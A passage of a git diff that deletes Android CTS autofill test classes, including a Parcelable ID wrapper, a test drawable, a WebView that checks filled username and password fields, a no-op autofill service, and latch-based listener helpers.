-            this.childId = childId;
-            this.event = event;
-        }
-
-        @Override
-        public String toString() {
-            return callbackEventAsString(event) + ": " + view + " (childId: " + childId + ")";
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillId.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillId.java
deleted file mode 100644
index 830f322..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillId.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import android.os.Parcel;
-import android.os.Parcelable;
-import android.view.autofill.AutofillId;
-
-public final class MyAutofillId implements Parcelable {
-
-    private final AutofillId mId;
-
-    public MyAutofillId(AutofillId id) {
-        mId = id;
-    }
-
-    @Override
-    public int hashCode() {
-        final int prime = 31;
-        int result = 1;
-        result = prime * result + ((mId == null) ? 0 : mId.hashCode());
-        return result;
-    }
-
-    @Override
-    public boolean equals(Object obj) {
-        if (this == obj) return true;
-        if (obj == null) return false;
-        if (getClass() != obj.getClass()) return false;
-        MyAutofillId other = (MyAutofillId) obj;
-        if (mId == null) {
-            if (other.mId != null) return false;
-        } else if (!mId.equals(other.mId)) {
-            return false;
-        }
-        return true;
-    }
-
-    @Override
-    public String toString() {
-        return mId.toString();
-    }
-
-    @Override
-    public int describeContents() {
-        return 0;
-    }
-
-    @Override
-    public void writeToParcel(Parcel dest, int flags) {
-        dest.writeParcelable(mId, flags);
-    }
-
-    public static final Creator<MyAutofillId> CREATOR = new Creator<MyAutofillId>() {
-
-        @Override
-        public MyAutofillId createFromParcel(Parcel source) {
-            return new MyAutofillId(source.readParcelable(null));
-        }
-
-        @Override
-        public MyAutofillId[] newArray(int size) {
-            return new MyAutofillId[size];
-        }
-    };
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyDrawable.java b/tests/autofillservice/src/android/autofillservice/cts/MyDrawable.java
deleted file mode 100644
index ada5a67..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MyDrawable.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
-import android.graphics.Rect;
-import android.graphics.drawable.Drawable;
-import android.util.Log;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class MyDrawable extends Drawable {
-
-    private static final String TAG = "MyDrawable";
-
-    private static CountDownLatch sLatch;
-    private static MyDrawable sInstance;
-
-    private static Rect sAutofilledBounds;
-
-    public MyDrawable() {
-        if (sInstance != null) {
-            throw new IllegalStateException("There can be only one!");
-        }
-        sInstance = this;
-    }
-
-    @Override
-    public void draw(Canvas canvas) {
-        if (sInstance != null && sAutofilledBounds == null) {
-            sAutofilledBounds = new Rect(getBounds());
-            Log.d(TAG, "Autofilled at " + sAutofilledBounds);
-            sLatch.countDown();
-        }
-    }
-
-    public static Rect getAutofilledBounds() throws InterruptedException {
-        if (sLatch == null) {
-            throw new AssertionError("sLatch should be not null");
-        }
-
-        if (!sLatch.await(Timeouts.FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-            throw new RetryableException(Timeouts.FILL_TIMEOUT, "custom drawable not drawn");
-        }
-        return sAutofilledBounds;
-    }
-
-    /**
-     * Asserts the custom drawable is not drawn.
-     */
-    public static void assertDrawableNotDrawn() throws Exception {
-        if (sLatch == null) {
-            throw new AssertionError("sLatch should be not null");
-        }
-
-        if (sLatch.await(Timeouts.DRAWABLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-            throw new AssertionError("custom drawable is drawn");
-        }
-    }
-
-    public static void initStatus() {
-        sLatch = new CountDownLatch(1);
-        sInstance = null;
-        sAutofilledBounds = null;
-    }
-
-    public static void clearStatus() {
-        sLatch = null;
-        sInstance = null;
-        sAutofilledBounds = null;
-    }
-
-    @Override
-    public void setAlpha(int alpha) {
-    }
-
-    @Override
-    public void setColorFilter(ColorFilter colorFilter) {
-    }
-
-    @Override
-    public int getOpacity() {
-        return 0;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java b/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
deleted file mode 100644
index 35317f9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/MyWebView.java
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Context;
-import android.util.AttributeSet;
-import android.util.Log;
-import android.view.autofill.AutofillManager;
-import android.webkit.JavascriptInterface;
-import android.webkit.WebView;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link WebView} used to assert contents were autofilled.
- */
-public class MyWebView extends WebView {
-
-    private static final String TAG = "MyWebView";
-
-    private FillExpectation mExpectation;
-
-    public MyWebView(Context context) {
-        super(context);
-        setJsHandler();
-        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
-    }
-
-    public MyWebView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-        setJsHandler();
-        Log.d(TAG, "isAutofillEnabled() on constructor? " + isAutofillEnabled());
-    }
-
-    public void expectAutofill(String username, String password) {
-        mExpectation = new FillExpectation(username, password);
-    }
-
-    public void assertAutofilled() throws Exception {
-        assertWithMessage("expectAutofill() not called").that(mExpectation).isNotNull();
-        mExpectation.assertUsernameCalled();
-        mExpectation.assertPasswordCalled();
-    }
-
-    private void setJsHandler() {
-        getSettings().setJavaScriptEnabled(true);
-        addJavascriptInterface(new JavascriptHandler(), "JsHandler");
-    }
-
-    boolean isAutofillEnabled() {
-        return getContext().getSystemService(AutofillManager.class).isEnabled();
-    }
-
-    private class FillExpectation {
-        private final CountDownLatch mUsernameLatch = new CountDownLatch(1);
-        private final CountDownLatch mPasswordLatch = new CountDownLatch(1);
-        private final String mExpectedUsername;
-        private final String mExpectedPassword;
-        private String mActualUsername;
-        private String mActualPassword;
-
-        FillExpectation(String username, String password) {
-            this.mExpectedUsername = username;
-            this.mExpectedPassword = password;
-        }
-
-        void setUsername(String username) {
-            mActualUsername = username;
-            mUsernameLatch.countDown();
-        }
-
-        void setPassword(String password) {
-            mActualPassword = password;
-            mPasswordLatch.countDown();
-        }
-
-        void assertUsernameCalled() throws Exception {
-            assertCalled(mUsernameLatch, "username");
-            assertWithMessage("Wrong value for username").that(mExpectation.mActualUsername)
-                .isEqualTo(mExpectation.mExpectedUsername);
-        }
-
-        void assertPasswordCalled() throws Exception {
-            assertCalled(mPasswordLatch, "password");
-            assertWithMessage("Wrong value for password").that(mExpectation.mActualPassword)
-                    .isEqualTo(mExpectation.mExpectedPassword);
-        }
-
-        private void assertCalled(CountDownLatch latch, String field) throws Exception {
-            if (!latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
-                throw new RetryableException(FILL_TIMEOUT, "%s not called", field);
-            }
-        }
-    }
-
-    private class JavascriptHandler {
-
-        @JavascriptInterface
-        public void onUsernameChanged(String username) {
-            Log.d(TAG, "onUsernameChanged():" + username);
-            if (mExpectation != null) {
-                mExpectation.setUsername(username);
-            }
-        }
-
-        @JavascriptInterface
-        public void onPasswordChanged(String password) {
-            Log.d(TAG, "onPasswordChanged():" + password);
-            if (mExpectation != null) {
-                mExpectation.setPassword(password);
-            }
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
deleted file mode 100644
index 43bb5f1..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/NoOpAutofillService.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.CancellationSignal;
-import android.service.autofill.AutofillService;
-import android.service.autofill.FillCallback;
-import android.service.autofill.FillRequest;
-import android.service.autofill.SaveCallback;
-import android.service.autofill.SaveRequest;
-import android.util.Log;
-
-/**
- * {@link AutofillService} implementation that does not do anything...
- */
-public class NoOpAutofillService extends AutofillService {
-
-    private static final String TAG = "NoOpAutofillService";
-
-    static final String SERVICE_NAME = NoOpAutofillService.class.getPackage().getName()
-            + "/." + NoOpAutofillService.class.getSimpleName();
-    static final String SERVICE_LABEL = "NoOpAutofillService";
-
-    @Override
-    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
-            FillCallback callback) {
-        Log.d(TAG, "onFillRequest()");
-    }
-
-    @Override
-    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
-        Log.d(TAG, "onFillResponse()");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/NonAutofillableActivity.java b/tests/autofillservice/src/android/autofillservice/cts/NonAutofillableActivity.java
deleted file mode 100644
index 3233cd4..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/NonAutofillableActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.Bundle;
-
-public final class NonAutofillableActivity extends AbstractAutoFillActivity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.non_autofillable_activity);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OnClickActionTest.java b/tests/autofillservice/src/android/autofillservice/cts/OnClickActionTest.java
deleted file mode 100644
index c65f78c..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OnClickActionTest.java
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_HIDE;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_PASSWORD_MASKED;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_PASSWORD_PLAIN;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_SHOW;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_USERNAME_MASKED;
-import static android.autofillservice.cts.CustomDescriptionHelper.ID_USERNAME_PLAIN;
-import static android.autofillservice.cts.CustomDescriptionHelper.newCustomDescriptionWithHiddenFields;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.FillContext;
-import android.service.autofill.OnClickAction;
-import android.service.autofill.VisibilitySetterAction;
-import android.support.test.uiautomator.UiObject2;
-import android.view.View;
-import android.view.autofill.AutofillId;
-
-import org.junit.Test;
-
-import java.util.regex.Pattern;
-
-/**
- * Integration tests for the {@link OnClickAction} implementations.
- */
-@AppModeFull(reason = "Service-specific test")
-public class OnClickActionTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<SimpleSaveActivity> {
-
-    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
-
-    private SimpleSaveActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<SimpleSaveActivity> getActivityRule() {
-        return new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testHideAndShow() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId usernameId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-
-                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
-                            .Builder(usernameId, MATCH_ALL, "$1").build();
-                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
-                            .Builder(passwordId, MATCH_ALL, "$1").build();
-                    builder.setCustomDescription(newCustomDescriptionWithHiddenFields()
-                            .addChild(R.id.username_plain, usernameTrans)
-                            .addChild(R.id.password_plain, passwordTrans)
-                            .addOnClickAction(R.id.show, new VisibilitySetterAction
-                                    .Builder(R.id.hide, View.VISIBLE)
-                                    .setVisibility(R.id.show, View.GONE)
-                                    .setVisibility(R.id.username_plain, View.VISIBLE)
-                                    .setVisibility(R.id.password_plain, View.VISIBLE)
-                                    .setVisibility(R.id.username_masked, View.GONE)
-                                    .setVisibility(R.id.password_masked, View.GONE)
-                                    .build())
-                            .addOnClickAction(R.id.hide, new VisibilitySetterAction
-                                    .Builder(R.id.show, View.VISIBLE)
-                                    .setVisibility(R.id.hide, View.GONE)
-                                    .setVisibility(R.id.username_masked, View.VISIBLE)
-                                    .setVisibility(R.id.password_masked, View.VISIBLE)
-                                    .setVisibility(R.id.username_plain, View.GONE)
-                                    .setVisibility(R.id.password_plain, View.GONE)
-                                    .build())
-                            .build());
-                })
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("42");
-            mActivity.mPassword.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Assert initial UI is hidden the password.
-        final UiObject2 showButton = assertHidden(saveUi);
-
-        // Then tap SHOW and assert it's showing how
-        showButton.click();
-        final UiObject2 hideButton = assertShown(saveUi);
-
-        // Hide again
-        hideButton.click();
-        assertHidden(saveUi);
-
-        // Rinse-and repeat a couple times
-        showButton.click(); assertShown(saveUi);
-        hideButton.click(); assertHidden(saveUi);
-        showButton.click(); assertShown(saveUi);
-        hideButton.click(); assertHidden(saveUi);
-
-        // Then save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "108");
-    }
-
-    /**
-     * Asserts that the Save UI is in the hiding the password field, returning the {@code SHOW}
-     * button.
-     */
-    private UiObject2 assertHidden(UiObject2 saveUi) throws Exception {
-        // Username
-        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi, ID_USERNAME_MASKED, "****");
-        assertInvisible(saveUi, ID_USERNAME_PLAIN);
-
-        // Password
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_MASKED, "....");
-        assertInvisible(saveUi, ID_PASSWORD_PLAIN);
-
-        // Buttons
-        assertInvisible(saveUi, ID_HIDE);
-        return mUiBot.assertChildText(saveUi, ID_SHOW, "SHOW");
-    }
-
-    /**
-     * Asserts that the Save UI is in the showing the password field, returning the {@code HIDE}
-     * button.
-     */
-    private UiObject2 assertShown(UiObject2 saveUi) throws Exception {
-        // Username
-        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
-        mUiBot.assertChildText(saveUi, ID_USERNAME_PLAIN, "42");
-        assertInvisible(saveUi, ID_USERNAME_MASKED);
-
-        // Password
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
-        mUiBot.assertChildText(saveUi, ID_PASSWORD_PLAIN, "108");
-        assertInvisible(saveUi, ID_PASSWORD_MASKED);
-
-        // Buttons
-        assertInvisible(saveUi, ID_SHOW);
-        return mUiBot.assertChildText(saveUi, ID_HIDE, "HIDE");
-    }
-
-    private void assertInvisible(UiObject2 saveUi, String resourceId) {
-        mUiBot.assertGoneByRelativeId(saveUi, resourceId, Timeouts.UI_TIMEOUT);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OnCreateServiceStatusVerifierActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OnCreateServiceStatusVerifierActivity.java
deleted file mode 100644
index 69bd868..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OnCreateServiceStatusVerifierActivity.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.getAutofillServiceName;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.Bundle;
-import android.util.Log;
-
-/**
- * Activity used to verify whether the service is enable or not when it's launched.
- */
-public class OnCreateServiceStatusVerifierActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "OnCreateServiceStatusVerifierActivity";
-
-    static final String SERVICE_NAME = android.autofillservice.cts.NoOpAutofillService.SERVICE_NAME;
-
-    private String mSettingsOnCreate;
-    private boolean mEnabledOnCreate;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.simple_save_activity);
-
-        mSettingsOnCreate = getAutofillServiceName();
-        mEnabledOnCreate = getAutofillManager().isEnabled();
-        Log.i(TAG, "On create: settings=" + mSettingsOnCreate + ", enabled=" + mEnabledOnCreate);
-    }
-
-    void assertServiceStatusOnCreate(boolean enabled) {
-        if (enabled) {
-            assertWithMessage("Wrong settings").that(mSettingsOnCreate)
-                .isEqualTo(SERVICE_NAME);
-            assertWithMessage("AutofillManager.isEnabled() is wrong").that(mEnabledOnCreate)
-                .isTrue();
-
-        } else {
-            assertWithMessage("Wrong settings").that(mSettingsOnCreate).isNull();
-            assertWithMessage("AutofillManager.isEnabled() is wrong").that(mEnabledOnCreate)
-                .isFalse();
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
deleted file mode 100644
index 9ba3f6b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCancellationSignalListener.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.CancellationSignal;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link android.os.CancellationSignal.OnCancelListener} used to assert that
- * {@link android.os.CancellationSignal.OnCancelListener} was called, and just once.
- */
-public final class OneTimeCancellationSignalListener
-        implements CancellationSignal.OnCancelListener {
-    private final CountDownLatch mLatch = new CountDownLatch(1);
-    private final long mTimeoutMs;
-
-    public OneTimeCancellationSignalListener(long timeoutMs) {
-        mTimeoutMs = timeoutMs;
-    }
-
-    public void assertOnCancelCalled() throws Exception {
-        final boolean called = mLatch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for onCancel()", mTimeoutMs)
-                .that(called).isTrue();
-    }
-
-    @Override
-    public void onCancel() {
-        mLatch.countDown();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
deleted file mode 100644
index 4d7af94..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.CompoundButton;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link android.widget.CompoundButton.OnCheckedChangeListener} used to assert a
- * {@link CompoundButton} was auto-filled properly.
- */
-final class OneTimeCompoundButtonListener implements CompoundButton.OnCheckedChangeListener {
-    private final String name;
-    private final CountDownLatch latch = new CountDownLatch(1);
-    private final CompoundButton button;
-    private final boolean expected;
-
-    OneTimeCompoundButtonListener(String name, CompoundButton button,
-            boolean expectedAutofillValue) {
-        this.name = name;
-        this.button = button;
-        this.expected = expectedAutofillValue;
-    }
-
-    @Override
-    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
-        latch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on CompoundButton %s", FILL_TIMEOUT.ms(), name)
-            .that(set).isTrue();
-        final boolean actual = button.isChecked();
-        assertWithMessage("Wrong auto-fill value on CompoundButton %s", name)
-            .that(actual).isEqualTo(expected);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeDateListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeDateListener.java
deleted file mode 100644
index 407861d..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeDateListener.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.DatePicker;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@OnDateChangedListener} used to assert a {@link DatePicker} was auto-filled properly.
- */
-final class OneTimeDateListener implements DatePicker.OnDateChangedListener {
-    private final String name;
-    private final CountDownLatch latch = new CountDownLatch(1);
-    private final DatePicker datePicker;
-    private final int expectedYear;
-    private final int expectedMonth;
-    private final int expectedDay;
-
-    OneTimeDateListener(String name, DatePicker datePicker, int expectedYear, int expectedMonth,
-            int expectedDay) {
-        this.name = name;
-        this.datePicker = datePicker;
-        this.expectedYear = expectedYear;
-        this.expectedMonth = expectedMonth;
-        this.expectedDay = expectedDay;
-    }
-
-    @Override
-    public void onDateChanged(DatePicker view, int year, int monthOfYear, int dayOfMonth) {
-        latch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on DatePicker %s", FILL_TIMEOUT.ms(), name)
-            .that(set).isTrue();
-        assertWithMessage("Wrong year on DatePicker %s", name)
-            .that(datePicker.getYear()).isEqualTo(expectedYear);
-        assertWithMessage("Wrong month on DatePicker %s", name)
-            .that(datePicker.getMonth()).isEqualTo(expectedMonth);
-        assertWithMessage("Wrong day on DatePicker %s", name)
-            .that(datePicker.getDayOfMonth()).isEqualTo(expectedDay);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeRadioGroupListener.java
deleted file mode 100644
index 73ed648..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/OneTimeRadioGroupListener.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.widget.RadioGroup;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
- * {@link RadioGroup} was auto-filled properly.
- */
-final class OneTimeRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
-    private final String name;
-    private final CountDownLatch latch = new CountDownLatch(1);
-    private final RadioGroup radioGroup;
-    private final int expected;
-
-    OneTimeRadioGroupListener(String name, RadioGroup radioGroup, int expectedAutoFilledValue) {
-        this.name = name;
-        this.radioGroup = radioGroup;
-        this.expected = expectedAutoFilledValue;
-    }
-
-    @Override
-    public void onCheckedChanged(RadioGroup group, int checkedId) {
-        latch.countDown();
-    }
-
-    void assertAutoFilled() throws Exception {
-        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT.ms(), name)
